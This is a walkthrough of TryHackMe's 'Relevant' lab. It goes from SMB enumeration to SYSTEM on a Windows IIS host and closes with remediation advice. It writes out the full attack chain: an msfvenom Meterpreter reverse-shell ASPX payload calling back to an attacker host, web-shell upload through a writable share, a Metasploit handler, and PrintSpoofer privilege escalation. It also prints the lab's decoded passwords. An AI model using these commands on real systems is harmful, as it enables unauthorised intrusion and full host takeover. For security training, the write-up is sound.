TryHackMe "Relevant" Walkthrough: From SMB Enumeration to NT AUTHORITY\SYSTEM

Table of Contents

1. Introduction

2. Room Overview and Objectives

3. Lab Setup

4. Step 1: Reconnaissance with Nmap

5. Step 2: Enumerating SMB Shares

6. Step 3: Looting Credentials from the Share

7. Step 4: Weaponizing the Writable Share

8. Step 5: Catching a Meterpreter Shell

9. Step 6: Capturing the User Flag

10. Step 7: Privilege Escalation with PrintSpoofer

11. Step 8: Capturing the Root Flag

12. Why This Attack Chain Works

13. Remediation and Hardening Recommendations

14. Lessons for Aspiring Penetration Testers

15. Frequently Asked Questions

16. Final Thoughts

Introduction

If you're working through TryHackMe's catalog of Windows-based boot-to-root challenges, sooner or later you'll land on Relevant — a deceptively simple box that packs an incredible amount of learning value into a short exercise. It's a favorite among people prepping for certifications like the eLearnSecurity Certified Professional Penetration Tester (eCPPT), and it's often recommended as a stepping stone before tackling harder Active Directory rooms.

What makes Relevant such a great teaching tool is that it forces you to chain together several fundamental offensive security skills in a single engagement: network service enumeration, SMB share abuse, credential harvesting, web shell deployment, and Windows privilege escalation via token impersonation. None of these techniques are exotic — they're the bread and butter of real-world internal penetration tests — which is exactly why this room is worth documenting properly.

In this write-up, I'll walk through my full methodology for compromising the machine end to end, explain why each step works (not just how), and close with practical hardening advice that maps back to real production environments. Whether you're a complete newcomer trying to pass your first THM room or a seasoned tester looking for a refresher on SeImpersonatePrivilege abuse, this guide should give you everything you need.

Room Overview and Objectives

The scenario is framed as a black-box penetration test: a fictional client is preparing to push a new environment into production and wants an assessment performed with minimal prior knowledge, mimicking how an external attacker would approach the target. The rules of engagement are refreshingly close to a real client statement of work:

• Only the assigned IP address is in scope — no lateral targets.

• Manual exploitation should be attempted before reaching for automated tools.

• Every vulnerability discovered should be documented, not just the ones needed to get flags.

• Two flags must be retrieved as proof of successful exploitation: user.txt and root.txt.

• The tester is explicitly told there is more than one path to root, which is a nice touch — it rewards curiosity beyond the "intended" route.

Because this write-up focuses on the exploitation chain itself, I've kept the technical narrative front and center, but I'd strongly encourage anyone using this room for certification practice to also draft a short-form report afterward: an executive summary, a findings table with CVSS-style severity ratings, and a remediation section. That reporting muscle is arguably more valuable long-term than the exploitation itself.

Lab Setup

Before diving in, here's the toolkit I used:

• Attacking machine: Kali Linux (rolling release), connected via TryHackMe's OpenVPN configuration

• Target machine: A Windows Server 2008 R2 / 2012-era host, assigned a private TryHackMe lab IP

• Core tools: nmap, smbclient, msfvenom, msfconsole (Metasploit Framework), PrintSpoofer64.exe

As with any TryHackMe room, your assigned IP address will differ from mine every time you spin up the box, so replace any IP addresses shown below with your own target's address.

Step 1: Reconnaissance with Nmap

Every engagement — legal or otherwise — begins with mapping the attack surface. A version-detection scan against the target immediately reveals a handful of interesting services:

nmap -sV 10.10.x.x

The scan comes back with the following open ports:

PortServiceNotes80/tcpMicrosoft IIS httpd 10.0Web server, worth browsing manually135/tcpMicrosoft Windows RPCStandard Windows RPC endpoint mapper139/tcpNetBIOS Session ServiceLegacy SMB transport445/tcpMicrosoft-DS (SMB)Modern SMB over TCP — high priority target3389/tcpMS-WBT-Server (RDP)Remote Desktop, useful once credentials are found

The OS fingerprint places this squarely in the Windows Server 2008 R2 to 2012 generation. That's an important detail: server builds from this era frequently ship with legacy SMB configurations, weaker default ACLs, and — as we'll see — an IIS web root that can be reached directly through an SMB share. Anyone who's spent time around older Windows infrastructure will recognize this combination as a near-guaranteed indicator that SMB is worth prioritizing over the web server itself.

Takeaway for beginners: don't just run a default Nmap scan and move on. The service versions returned here (particularly the Server 2008 R2/2012 fingerprint on port 445) are what should be steering your next move. Version banners are free intelligence — use them.

Step 2: Enumerating SMB Shares

With port 445 open, the next logical move is to see what shares the server is exposing. smbclient makes short work of this:

smbclient -L \\10.10.x.x

Authenticating anonymously (or with blank/guest credentials, depending on the box's configuration) returns the standard administrative shares alongside one that stands out immediately:

Sharename Type Comment --------- ---- ------- ADMIN$ Disk Remote Admin C$ Disk Default share IPC$ IPC Remote IPC nt4wrksv Disk

ADMIN$, C$, and IPC$ are default administrative shares present on virtually every Windows install — they're not usually accessible without valid admin credentials. But nt4wrksv is a custom, non-default share, which immediately makes it the most interesting item on this list. Custom shares are almost always created for a specific business purpose, and that purpose often comes with looser permissions than the administrators intended.

Connecting to it confirms our suspicion:

smbclient \\\\10.10.x.x\\nt4wrksv

Listing the contents shows a single file sitting in the share root:

passwords.txt A 98 bytes

A file named passwords.txt sitting in an anonymously-readable share is about as clear a red flag as penetration testing gets. Time to grab it.

Step 3: Looting Credentials from the Share

Pulling the file down is trivial:

smb: \> get passwords.txt

Opening it reveals two lines of Base64-encoded text:

[User Passwords - Encoded] Qm9iIC0gIVBAJCRXMHJEITEyMw== QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk

Base64 isn't encryption — it's an encoding scheme, meaning it's trivially reversible with zero cryptographic effort. A quick decode of each line unmasks two full username/password pairs:

echo Qm9iIC0gIVBAJCRXMHJEITEyMw== | base64 -d → Bob - !P@$$W0rD!123 echo QmlsbCAtIEp1dzRubmFNNG40MjA2OTY5NjkhJCQk | base64 -d → Bill - Juw4nnaM4n420696969!$$$

At this point we have two full sets of Windows credentials — Bob's and Bill's — sitting in what looks like a plaintext "note to self" that somebody forgot to delete before deployment. This is an extremely common real-world finding: developers and sysadmins often stash credentials in file shares "temporarily" during setup and never clean up afterward.

We now have valid domain/local credentials, but credentials alone aren't a foothold. We need code execution. That's where the writable share comes back into play.

Step 4: Weaponizing the Writable Share

Here's the critical discovery that turns this from "interesting misconfiguration" into "full compromise": the nt4wrksv share isn't just readable — it's writable, and critically, it maps directly to a folder underneath the IIS web root (C:\inetpub\wwwroot\nt4wrksv). Any file we drop into that share becomes instantly accessible over HTTP.

That means if we can upload a server-side script IIS knows how to execute — like an .aspx file — we can get it to run arbitrary code on the target simply by requesting the URL in a browser or with curl.

Generating the payload with msfvenom:

msfvenom -p windows/x64/meterpreter_reverse_tcp \ LHOST=<attacker_ip> LPORT=8910 \ -f aspx -o shell.aspx

This builds a Meterpreter reverse-TCP stager wrapped in valid ASPX syntax, ready to be dropped straight onto an IIS server.

Uploading it via the writable share:

smbclient \\\\10.10.x.x\\nt4wrksv smb: \> put shell.aspx

Because we authenticated with valid (if low-privileged) credentials and the share permits write access, the upload succeeds without any friction. IIS now has an executable ASPX web shell sitting in a directory it's configured to serve and execute.

Step 5: Catching a Meterpreter Shell

Before triggering the payload, we need a listener ready to catch the callback. Metasploit's multi/handler module is purpose-built for this:

msfconsole -q use exploit/multi/handler set payload windows/x64/meterpreter_reverse_tcp set LHOST <attacker_ip> set LPORT 8910 run

With the handler sitting and waiting, the payload just needs to be triggered — and because it's an ASPX page sitting inside the IIS web root, a simple HTTP request does exactly that:

curl http://10.10.x.x:<port>/nt4wrksv/shell.aspx

The moment IIS processes that request, it executes our embedded shellcode, which reaches back out to our waiting handler:

[*] Meterpreter session 2 opened (attacker_ip:8910 -> target_ip:port)

We now have an interactive Meterpreter session running in the context of the IIS application pool identity — full code execution on the box, no exploit chain required beyond "misconfigured share + web shell."

Step 6: Capturing the User Flag

With a shell in hand, grabbing the first flag is as simple as reading the right file. A quick check of user home directories on the box points us to Bob's desktop:

meterpreter > cat C:/users/bob/desktop/user.txt

And there it is — the first proof-of-exploitation flag, confirming initial foothold has been fully achieved.

At this stage in a real engagement, this is exactly where you'd pause and document: how the share was found, how it was abused, what the impact of arbitrary code execution is, and what credentials were exposed along the way. But we're not done — the client asked for root-level compromise too.

Step 7: Privilege Escalation with PrintSpoofer

The account context we're running under is not an administrator, so we need to look for a local privilege escalation path. The very first thing worth checking on any freshly popped Windows shell is the current token's privileges:

meterpreter > getprivs

The output includes:

SeAssignPrimaryTokenPrivilege SeAuditPrivilege SeChangeNotifyPrivilege SeCreateGlobalPrivilege SeImpersonatePrivilege SeIncreaseQuotaPrivilege SeIncreaseWorkingSetPrivilege

SeImpersonatePrivilege is the one that should immediately catch your eye. This privilege is commonly granted to service accounts (including IIS application pool identities) so that they can impersonate the security context of a client making a request — a legitimate feature for things like authenticated web applications. Unfortunately, this same privilege has been the foundation for an entire family of well-known Windows privilege escalation exploits, going back through the "Potato" family (RottenPotato, JuicyPotato, RoguePotato) and continuing with more modern tools like PrintSpoofer.

PrintSpoofer works by abusing the Windows Print Spooler service's named pipe mechanism. In short: it coerces the SYSTEM-level Print Spooler service into connecting to a named pipe we control, captures the SYSTEM token that comes with that connection, and then uses SeImpersonatePrivilege to impersonate that token — instantly elevating our process to NT AUTHORITY\SYSTEM.

Getting the tool onto the target:

wget https://github.com/itm4n/PrintSpoofer/releases/download/v1.0/PrintSpoofer64.exe

Uploading it through the same writable share we already control:

smbclient \\\\10.10.x.x\\nt4wrksv smb: \> put PrintSpoofer64.exe

Dropping into a native shell from Meterpreter and navigating to the share's local path:

meterpreter > shell cd c:/inetpub/wwwroot/nt4wrksv

Executing PrintSpoofer to spawn an elevated PowerShell process:

PrintSpoofer64.exe -i -c powershell.exe

A moment later, a whoami check confirms the escalation succeeded:

PS C:\Windows\system32> whoami nt authority\system

We've gone from an unauthenticated anonymous SMB session, to valid low-privileged credentials, to code execution as an IIS worker process, to full SYSTEM — all without a single memory-corruption exploit. It's a great demonstration of how misconfiguration chains are often more dangerous than flashy zero-days.

Step 8: Capturing the Root Flag

The final step is simply collecting our proof of full compromise from the administrator's desktop:

PS C:\users\administrator\desktop> dir Mode LastWriteTime Length Name ---- ------------- ------ ---- -a---- 7/25/2020 8:25 AM 35 root.txt PS C:\users\administrator\desktop> cat root.txt

And with that, the box is fully rooted — both user.txt and root.txt have been retrieved, satisfying the engagement's proof-of-exploitation requirement.

Why This Attack Chain Works

It's worth stepping back and looking at why this machine is vulnerable, because the "why" is more transferable knowledge than the specific commands used.

1. Anonymous or weakly authenticated SMB access. The server allows enumeration and connection to shares without strong access controls, immediately exposing internal file structure to anyone on the network.

2. A custom share with excessive permissions. nt4wrksv was almost certainly created for a legitimate purpose — maybe internal file exchange — but was left both world-readable and world-writable.

3. Sensitive data stored in plaintext-adjacent form. Base64 is not a security control. Storing credentials this way is functionally identical to storing them in plaintext.

4. A share that overlaps with a web-executable directory. The single biggest structural flaw here is that a writable SMB share maps directly into the IIS web root. This turns a "just a file share" misconfiguration into remote code execution.

5. Overly generous service account privileges. Granting SeImpersonatePrivilege to a service account is common and often necessary — but without additional mitigations, it becomes a direct path to SYSTEM the moment code execution is achieved.

Individually, several of these issues might be considered "low" or "medium" severity. Chained together, they add up to full domain-adjacent compromise in under thirty minutes. This is the core lesson of internal penetration testing: attackers don't need one critical vulnerability, they need a chain of merely mediocre ones.

Remediation and Hardening Recommendations

If I were writing this up as an actual client deliverable, here's what I'd recommend:

• Restrict SMB share permissions to the principle of least privilege. No share should be both anonymously readable and writable unless there is an explicit, documented business justification — and even then, write access should be scoped to authenticated, specific accounts only.

• Never store credentials in file shares, encoded or otherwise. Use a proper secrets manager (Azure Key Vault, HashiCorp Vault, or even a locked-down password manager with audit logging) instead of text files.

• Separate web-executable directories from general-purpose file shares. A share used for internal file exchange should never physically overlap with a directory that a web server treats as executable content.

• Audit and minimize SeImpersonatePrivilege assignments. Where this privilege is required for legitimate application functionality, pair it with additional mitigations such as Windows Defender Attack Surface Reduction rules, up-to-date patching against known Potato-style exploits, and service account isolation.

• Patch and upgrade legacy Windows Server builds. Server 2008 R2/2012-era hosts are long past mainstream support in most cases; migrating to a currently supported Windows Server version closes off entire categories of known privilege escalation techniques.

• Enable robust logging and alerting on SMB share access and unusual process creation. A PrintSpoofer64.exe execution followed immediately by a powershell.exe spawn from an IIS worker process is a textbook detection opportunity for any halfway-mature SOC.

Lessons for Aspiring Penetration Testers

A few broader takeaways worth internalizing from this room:

• Enumerate before you exploit. Every step here followed directly from patient, methodical enumeration — Nmap first, then SMB shares, then file contents. Skipping ahead to "throw an exploit at it" would have missed the actual path entirely.

• Custom shares deserve extra scrutiny. Default administrative shares are rarely useful to an attacker without existing privileges. Custom, business-specific shares are where the real misconfigurations tend to hide.

• Weak encoding is not encryption. Always attempt to decode anything that looks suspicious — Base64, hex, ROT13 — before assuming it's a dead end.

• Know your Windows privilege escalation primitives. SeImpersonatePrivilege abuse via tools like PrintSpoofer, GodPotato, or RoguePotato is one of the most common privilege escalation patterns you'll encounter on real internal engagements, not just CTF boxes. It's worth understanding the underlying named-pipe impersonation mechanics, not just memorizing the tool command.

• Document as you go. Real client engagements live and die by the quality of the final report. Get in the habit of screenshotting evidence and noting timestamps during the CTF itself, not after the fact.

Frequently Asked Questions

Is the Relevant room beginner-friendly? Yes. It requires basic familiarity with Nmap, SMB tooling, and Metasploit, but doesn't demand advanced exploit development skills, making it a solid choice for people newer to Windows-focused penetration testing.

What certification paths does this room map well to? It's frequently recommended as prep for the eLearnSecurity Certified Professional Penetration Tester (eCPPT) and similarly practical, hands-on offensive security certifications that emphasize methodology over memorized exploits.

Do I need Metasploit to solve this room? No — Metasploit is a convenience here, not a requirement. The core vulnerability (a writable SMB share overlapping with an executable web directory) can be exploited manually by crafting an ASPX web shell without any framework at all, which is closer to how the scope's "attempt manual exploitation first" guidance intends for you to approach it.

What is SeImpersonatePrivilege and why does it matter? It's a Windows privilege that allows a process to impersonate the security token of another user or service after receiving a connection from it, typically for legitimate purposes in service accounts. When combined with tools that coerce a SYSTEM-level service to connect to an attacker-controlled named pipe, it becomes a reliable local privilege escalation primitive.

Are there multiple paths to root on this box? The scope notes explicitly mention more than one viable path exists. The chain documented here — SMB credential leak, web shell via writable share, PrintSpoofer escalation — is one validated route, but exploring alternate token-impersonation tools or credential reuse paths is a great way to get more mileage out of the room.

Final Thoughts

Relevant packs a surprising amount of realism into a short lab exercise. It's not a box that relies on an obscure CVE or a brittle memory-corruption exploit — it's a chain of everyday misconfigurations that, individually, most organizations would rate as low priority findings. Put together, they hand over full SYSTEM access to anyone patient enough to enumerate properly.

That's really the biggest takeaway here, both for people learning offensive security and for defenders reading the same write-up from the other side: attackers rarely need a single silver bullet. They need enough small cracks lined up in a row. Rooms like this one are a great reminder to treat every "minor" misconfiguration — a too-permissive share, a stray credentials file, an overly generous service privilege — as a potential link in a much longer chain.

If you're working through TryHackMe's Windows track, Relevant is a great confidence-builder before moving on to Active Directory-focused rooms that build on these same fundamentals (SMB enumeration, credential abuse, and privilege escalation) at a larger scale.

Happy hacking, and as always — only test systems you're authorized to test.